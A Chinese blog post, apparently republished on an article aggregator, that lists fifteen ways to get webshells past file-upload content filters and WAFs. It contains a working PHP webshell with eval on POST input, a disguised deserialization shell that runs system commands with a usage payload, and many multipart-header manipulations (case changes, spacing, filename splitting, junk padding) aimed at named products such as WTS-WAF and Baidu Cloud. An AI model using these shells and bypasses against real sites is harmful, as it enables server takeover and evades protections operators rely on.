文件上传对文件内容检测时绕过
2021/7/31 23:06:56
本文主要是介绍文件上传对文件内容检测时绕过,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1.先假设一个前提,可以上传.htaccess或者.user.ini
因为不知道目标使用的是 nginx 还是 Apache,所以给两个参考链接
如果是nginx可以看看我这篇文章的0x01 CheckIn:https://www.cnpanda.net/ctf/383.html
如果是apache可以看看这篇文章:https://thibaud-robin.fr/articles/bypass-filter-upload/
2.如果检测是<?php ?>
可以试一试使用其他标签,如
<script language="php"> eval($_POST[2333]); </script>
这个要求php<7
或者
<? ... ?>
3.如果检测的不是php标签,是敏感内容的话,这里送你一个免杀php马
<?php if (isset($_POST['run'])) { class HandShip { public $name; public $male; function __destruct() { $allin = $this->name; $allin($this->male); } } if(md5($_POST['code'])=='ce61649168c4550c2f7acab92354dc6e'){ unserialize($_POST['run']); } } ?>
用法:
run=O:8:"HandShip":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /home";};&code=panda
4.绕过思路:对文件的内容,数据。数据包进行处理。
关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
将form-data;
修改为~form-data;
5.通过替换大小写来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php" Content-Type: application/octet-stream
将Content-Disposition
修改为content-Disposition
将 form-data
修改为Form-data
将Content-Type
修改为content-Type
6.通过删减空格来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php" Content-Type: application/octet-stream
将Content-Disposition: form-data
冒号后面 增加或减少一个空格
将form-data; name="file";
分号后面 增加或减少一个空格
将Content-Type: application/octet-stream
冒号后面 增加一个空格
7.通过字符串拼接绕过
看Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data
修改为 f+orm-data
将from-data
修改为 form-d+ata
8.双文件上传绕过
<form action="https://www.xxx.com/xxx.asp(php)" method="post" name="form1" enctype="multipart/form‐data"> <input name="FileName1" type="FILE" class="tx1" size="40"> <input name="FileName2" type="FILE" class="tx1" size="40"> <input type="submit" name="Submit" value="上传"> </form>
9.HTTP header 属性值绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form-data
为*
来绕过
Content-Disposition: *; name="file"; filename="yjh.php"
10.HTTP header 属性名称绕过
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png" Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png C.php"
删除掉ontent-Type: image/png
只留下c
,将.php
加c
后面即可,但是要注意额,双引号要跟着c.php".
11.等效替换绕过
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary
后面加入空格。
12.修改编码绕过
使用UTF-16
、Unicode
、双URL编码
等等
13.WTS-WAF 绕过上传
原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
14.百度云上传绕过
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
15.填充垃圾数据,造成溢出后使WAF崩掉
Content-Disposition: 字段溢出即可 比如Content-Disposition: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA一直加就行了十万++
这篇关于文件上传对文件内容检测时绕过的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-10-05小米13T Pro系统合集:性能与摄影的极致融合,值得你升级的系统ROM
- 2024-10-01基于Python+Vue开发的医院门诊预约挂号系统
- 2024-10-01基于Python+Vue开发的旅游景区管理系统
- 2024-10-01RestfulAPI入门指南:打造简单易懂的API接口
- 2024-10-01初学者指南:了解和使用Server Action
- 2024-10-01Server Component入门指南:搭建与配置详解
- 2024-10-01React 中使用 useRequest 实现数据请求
- 2024-10-01使用 golang 将ETH账户的资产平均分散到其他账户
- 2024-10-01JWT用户校验课程:从入门到实践
- 2024-10-01Server Component课程入门指南